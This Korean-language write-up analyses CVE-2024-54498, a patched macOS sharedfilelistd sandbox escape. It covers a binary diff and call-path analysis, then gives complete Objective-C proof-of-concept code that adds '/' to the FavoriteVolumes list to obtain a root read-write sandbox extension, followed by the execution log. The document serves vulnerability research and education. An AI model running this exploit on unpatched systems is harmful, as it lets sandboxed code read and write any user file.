Source Code
https://github.com/wh1te4ever/CVE-2024-54498-PoC/
Write-up


해당 취약점은 macOS Sequoia 15.2, Ventura 13.7.2, Sonoma 14.7.2에서 패치되었으며, 샌드박스를 탈출할 수 있는 취약점이다.
SharedFileList 서비스에서 취약점이 발생한다.
Diffing
취약한 macOS 15.1.1 버전과 패치된 15.2 대상으로 디핑을 진행하였다.
취약점이 발견된 바이너리는 다음과 같다.
- /System/Library/CoreServices/sharedfilelistd

바이너리를 추출해서 Bindiff를 통해 비교해봤을 때, 함수 2개의 차이점이 존재하였다.
- -[ConnectedProcess shouldExtendSandboxForListIdentifier:]
- -[ConnectedProcess canAccessItem:error:]
먼저,-[ConnectedProcessshouldExtendSandboxForListIdentifier:] 메소드를 살펴보면 다음과 같다.
• macOS 15.1.1 취약한 버전
bool __cdecl -[ConnectedProcess shouldExtendSandboxForListIdentifier:](ConnectedProcess *self, SEL a2, id a3)
{
id v4; // x19
bool v5; // w20
v4 = objc_retain(a3);
v5 = -[ConnectedProcess isSandboxed](self, "isSandboxed")
&& ((unsigned int)objc_msgSend(v4, "isEqual:", _kLSSharedFileListRecentApplicationItems) & 1) == 0
&& ((unsigned int)objc_msgSend(v4, "isEqual:", _kLSSharedFileListRecentDocumentItems) & 1) == 0
&& ((unsigned int)objc_msgSend(v4, "isEqual:", _kLSSharedFileListRecentServerItems) & 1) == 0
&& ((unsigned int)objc_msgSend(v4, "isEqual:", _kLSSharedFileListFavoriteItems) & 1) == 0
&& (!(unsigned int)_os_feature_enabled_impl("SharedFileList", "SecurityScopedBookmarks")
|| ((unsigned int)objc_msgSend(v4, "hasPrefix:", kLSSharedFileListApplicationRecentDocuments) & 1) == 0);
objc_release(v4);
return v5;
}
• macOS 15.2 패치된 버전
bool __cdecl -[ConnectedProcess shouldExtendSandboxForListIdentifier:](ConnectedProcess *self, SEL a2, id a3)
{
id v4; // x19
v4 = objc_retain(a3);
if ( -[ConnectedProcess isSandboxed](self, "isSandboxed")
&& ((unsigned int)objc_msgSend(v4, "isEqual:", _kLSSharedFileListRecentApplicationItems) & 1) == 0
&& ((unsigned int)objc_msgSend(v4, "isEqual:", _kLSSharedFileListRecentDocumentItems) & 1) == 0
&& ((unsigned int)objc_msgSend(v4, "isEqual:", _kLSSharedFileListRecentServerItems) & 1) == 0
&& ((unsigned int)objc_msgSend(v4, "isEqual:", _kLSSharedFileListFavoriteItems) & 1) == 0
&& (unsigned int)_os_feature_enabled_impl("SharedFileList", "SecurityScopedBookmarks") )
{
objc_msgSend(v4, "hasPrefix:", kLSSharedFileListApplicationRecentDocuments);
}
objc_release(v4);
return 0;
}
위 함수를 보면, 패치된 버전에서는 메소드 함수가 항상 0 을 반환하고 있지만, 취약한 버전에서는 특정 조건에 따라 1 을 반환시킬 수 있다.
먼저 프로세스가 -[ConnectedProcessisSandboxed] 리턴값이 참이여야하고, 매개변수에 들어가는 a3 값이 특정한 값과 같지 않아야 한다. 같지 않아야 되는 특정값은 다음과 같다.
• kLSSharedFileListRecentApplicationItems
• kLSSharedFileListRecentDocumentItems
• kLSSharedFileListRecentServerItems
• kLSSharedFileListFavoriteItems
또,a3 매개변수가 kLSSharedFileListApplicationRecentDocuments 로 시작되지 않아야 하거나, _os_feature_enabled_impl(“SharedFileList”,”SecurityScopedBookmarks”) 함수 리턴값이 0 이여야 된다.
이러한 조건을 만족시키면 해당 메소드는 1 을 반환시킬 수 있다.
두번째로,-[ConnectedProcesscanAccessItem:error:] 메소드를 살펴보면 다음과 같다.
왼쪽은 취약한 함수, 오른쪽은 패치된 함수이다. 패치된 함수를 보면, v17값이 “/” 문자열일 경우에는 v21값은 1이 된다.

오른쪽에 패치된 코드를 보면 v21값이 1일 경우, 샌드박스에 의해 제한되었다면서 에러를 반환한다.

Analysis
취약점이 패치된 -[ConnectedProcess shouldExtendSandboxForListIdentifier:] 메소드를 먼저 살펴보자.
역참조를 해보면, -[ConnectedProcess resolveItemWithIdentifier:listIdentifier:options:reply:] 메소드에 의해 호출되는 것을 알 수 있다.

LSSharedFileListItemCopyResolvedURL 함수를 통해 호출시킬 수 있다. LSSharedFileListItemCopyResolvedURL 함수는 macOS의 LSSharedFileList API에서 사용하는 함수로, 최근 문서, 로그인 항목 등 시스템에서 사용되는 공유 목록을 관리하는 데 사용되는 북마크의 URL을 가져오는데 사용된다.
-[ConnectedProcess resolveItemWithIdentifier:listIdentifier:options:reply:] 메소드를 자세히 살펴보면,
[ConnectedProcess shouldExtendSandboxForListIdentifier:] 메소드가 1을 반환할 경우, v19에서 0x40000000LL 값을 OR 연산자로 세트시키고, 세트된 값이 -[ListManager resolveItemWithIdentifier:onList:options:reply:] 메소드로 전달된다.

[ListManager resolveItemWithIdentifier:onList:options:reply:] 메소드를 자세히 살펴보면, 먼저 bookmark 메서드를 호출하여 북마크 데이터를 가져온다.
가져온 북마크 데이터는 NSURL 클래스 메서드가 해석하여 해당 URL 객체를 반환시킨다.
URL 객체가 반환되면, -[NSURL fileSystemRepresentation] 메서드를 호출하여 파일의 경로 문자열을 가져온다.
만약 매개변수로 받는 v7이 0x40000000LL 값이 OR 연산자로 세트되어있으면, sandbox_extension_issue_file 함수를 통해 샌드박스 확장을 요청하여 토큰을 발급받을 수 있다.

그 다음으로, -[ConnectedProcess canAccessItem:error:] 메소드를 살펴보자.
역참조를 해보면, -[ConnectedProcess insertItem:atIndex:listIdentifier:reply:] 메소드에 의해 호출되는 것을 알 수 있다.

LSSharedFileListInsertItemURL 함수를 통해 호출시킬 수 있다.
LSSharedFileListInsertItemURL 함수는 macOS의 LSSharedFileList API에서 사용하는 함수로, 최근 문서, 로그인 항목 등 시스템에서 사용되는 공유 목록을 관리하는 데 사용되는 북마크에 항목을 추가하거나 기존 항목을 업데이트하는 역할을 한다.
취약점이 패치되기 전에는 “/” 루트 경로를 북마크에 추가시키는 것이 가능하였다.
Exploit
익스플로잇하는 방법은 아래와 같다.
북마크에 “/” 루트 경로를 추가한다.
북마크 종류는 다음과 같지 않아야 한다.
- kLSSharedFileListRecentApplicationItems
- kLSSharedFileListRecentDocumentItems
- kLSSharedFileListRecentServerItems
- kLSSharedFileListFavoriteItems
- kLSSharedFileListApplicationRecentDocuments 이름으로 시작되는 북마크
이제 LSSharedFileListItemResolve 함수를 호출하면, 루트인 모든 경로에 대해 샌드박스 읽기/쓰기가 가능해진다.
익스플로잇 코드를 통해 자세히 살펴보자.
https://github.com/wh1te4ever/CVE-2024-54498-PoC
int add_root_dir_to_favorites(void) {
CFStringRef listType = kLSSharedFileListFavoriteVolumes;
LSSharedFileListRef favoriteVolumesList = LSSharedFileListCreate(NULL, listType, NULL);
if (favoriteVolumesList) {
NSString *path = @"/";
CFURLRef tmpDirURL = (__bridge CFURLRef)[NSURL fileURLWithPath:path];
// Favorite Volumes에 추가
LSSharedFileListItemRef newItem = LSSharedFileListInsertItemURL(
favoriteVolumesList,
kLSSharedFileListItemLast,
NULL,
NULL,
tmpDirURL,
NULL,
NULL
);
if (newItem) {
NSLog(@"[+] Successfully added %@ to Favorite Volumes.", path);
CFRelease(newItem);
} else {
NSLog(@"[-] Failed to add %@ to Favorite Volumes.", path);
}
CFRelease(favoriteVolumesList);
} else {
NSLog(@"[-] Failed to access LSSharedFileList for Favorite Volumes.");
}
return 0;
}
int remove_root_dir_from_favorites(void) {
UInt32 seedValue;
LSSharedFileListRef favoriteVolsRef = LSSharedFileListCreate(NULL, kLSSharedFileListFavoriteVolumes, NULL);
if (!favoriteVolsRef) {
NSLog(@"[-] Failed to access favorite items list.");
return 0;
}
CFArrayRef favoriteVols = LSSharedFileListCopySnapshot(favoriteVolsRef, &seedValue);
CFIndex arrayCount = CFArrayGetCount(favoriteVols);
for (CFIndex i = 0; i < arrayCount; ++i) {
CFURLRef urlRef;
LSSharedFileListItemRef itemRef = (LSSharedFileListItemRef)CFArrayGetValueAtIndex(favoriteVols, i);
OSStatus status = LSSharedFileListItemResolve(itemRef, 0, &urlRef, NULL);
if (status != noErr) {
continue;
}
NSURL *theURL = (__bridge NSURL*) urlRef;
NSString *checkPath = [theURL path];
if ([checkPath isEqualToString:@"/"]) {
LSSharedFileListItemRemove(favoriteVolsRef, itemRef);
NSLog(@"[+] Successfully removed root directory (/) from favorite volumes.");
}
CFRelease(urlRef);
}
CFRelease(favoriteVols);
CFRelease(favoriteVolsRef);
return 0;
}
int trigger_exploit(void) {
LSSharedFileListRef recentItems = LSSharedFileListCreate(NULL, kLSSharedFileListFavoriteVolumes, NULL);
if (recentItems) {
NSArray *items = (__bridge NSArray *)LSSharedFileListCopySnapshot(recentItems, NULL);
NSLog(@"items array: %@\\n", items);
for (id item in items) {
LSSharedFileListItemRef itemRef = (__bridge LSSharedFileListItemRef)item;
CFErrorRef errorRef;
CFURLRef itemURL = LSSharedFileListItemCopyResolvedURL(itemRef, 0, &errorRef);
NSString *itemPath = [(__bridge NSURL *)itemURL path];
NSLog(@"itemPath: %@", itemPath);
}
CFRelease(recentItems);
} else {
NSLog(@"Failed to retrieve recent items.");
}
return 0;
}
int main(void) {
//Exploit...
add_root_dir_to_favorites();
trigger_exploit();
remove_root_dir_from_favorites();
}
북마크에 “/” 루트 경로를 추가하는데, 종류를 kLSSharedFileListFavoriteVolumes으로 정해야 한다.
그렇게 해야 -[ConnectedProcess shouldExtendSandboxForListIdentifier:] 메소드가 1을 반환하여, 0x40000000LL 값을 OR 연산자로 세트되어, 추후에 sandbox_extension_issue_file 함수를 호출시킬 수 있기 때문이다.
이제 LSSharedFileListItemResolve 함수를 호출시키면 북마크 리스트를 가져오면서 “/”, 즉 전체 경로에 대한 샌드박스 토큰을 발급받아 sandbox_extension_consume 함수를 호출하는 것을 확인할 수 있었다.
2025-01-09 20:59:24.855 CVE-2024-54498[648:5371] [+] Called sandbox_extension_consume, ret = 2, extension_token = 228a2474e63a51fb2053ff7e315c4cda08003499b72ff3d769482d5d67a94df2;00;00000000;00000000;00000000;0000000000000020;com.apple.app-sandbox.read-write;01;01000013;0000000000000002;02;/
2025-01-09 20:59:24.858 CVE-2024-54498[648:5371] [+] sandbox_extension_consume trace: (
0 CVE-2024-54498 0x0000000102caea68 hook_sandbox_extension_consume + 84
1 CoreServicesInternal 0x00000001945717fc _ZN21SandboxExtensionCache8_consumeEPK10__CFStringPK8__CFDataPS5_ + 204
2 CoreServicesInternal 0x00000001945716a0 _ZN21SandboxExtensionCache7consumeEPK7__CFURLPK8__CFData + 104
3 CoreServicesInternal 0x000000019456e738 _FSURLStartAccessingSecurityScopedResource + 84
4 CoreFoundation 0x0000000190c91cf8 CFURLStartAccessingSecurityScopedResource + 16
5 CoreFoundation 0x0000000190c91cbc -[NSURL startAccessingSecurityScopedResource] + 68
6 SharedFileList 0x0000000199d55174 __47-[_SFLItemWrapper initWithItem:listIdentifier:]_block_invoke + 332
7 SharedFileList 0x0000000199d54c84 -[SFLBookmark resolveWithOptions:relativeToURL:error:] + 128
8 SharedFileList 0x0000000199d54ac8 +[SFLList(LSSharedFileListSupport) resolveItem:resolutionFlags:error:] + 84
9 SharedFileList 0x0000000199d60e64 LSSharedFileListItemCopyResolvedURL + 144
10 CVE-2024-54498 0x0000000102cae45c trigger_exploit + 336
11 CVE-2024-54498 0x0000000102cae8a4 -[ViewController exploitButton:] + 268
12 AppKit 0x00000001948ec87c -[NSApplication(NSResponder) sendAction:to:from:] + 460
13 AppKit 0x00000001948ec680 -[NSControl sendAction:to:] + 72
14 AppKit 0x00000001948ec5c4 __26-[NSCell _sendActionFrom:]_block_invoke + 100
15 AppKit 0x00000001948ec4ec -[NSCell _sendActionFrom:] + 204
16 AppKit 0x00000001948ec3e8 -[NSButtonCell _sendActionFrom:] + 96
17 AppKit 0x00000001948e9970 NSControlTrackMouse + 1480
18 AppKit 0x00000001948e937c -[NSCell trackMouse:inRect:ofView:untilMouseUp:] + 144
19 AppKit 0x00000001948e91f4 -[NSButtonCell trackMouse:inRect:ofView:untilMouseUp:] + 580
20 AppKit 0x00000001948e8678 -[NSControl mouseDown:] + 448
21 AppKit 0x00000001948e7518 -[NSWindow(NSEventRouting) _handleMouseDownEvent:isDelayedEvent:] + 3672
22 AppKit 0x000000019487300c -[NSWindow(NSEventRouting) _reallySendEvent:isDelayedEvent:] + 384
23 AppKit 0x0000000194872cbc -[NSWindow(NSEventRouting) sendEvent:] + 284
24 AppKit 0x000000019508abf0 -[NSApplication(NSEventRouting) sendEvent:] + 1656
25 AppKit 0x0000000194c9889c -[NSApplication _handleEvent:] + 60
26 AppKit 0x000000019473eb08 -[NSApplication run] + 520
27 AppKit 0x0000000194715364 NSApplicationMain + 888
28 CVE-2024-54498 0x0000000102cadf78 main + 44
29 dyld 0x00000001907b8274 start + 2840
)
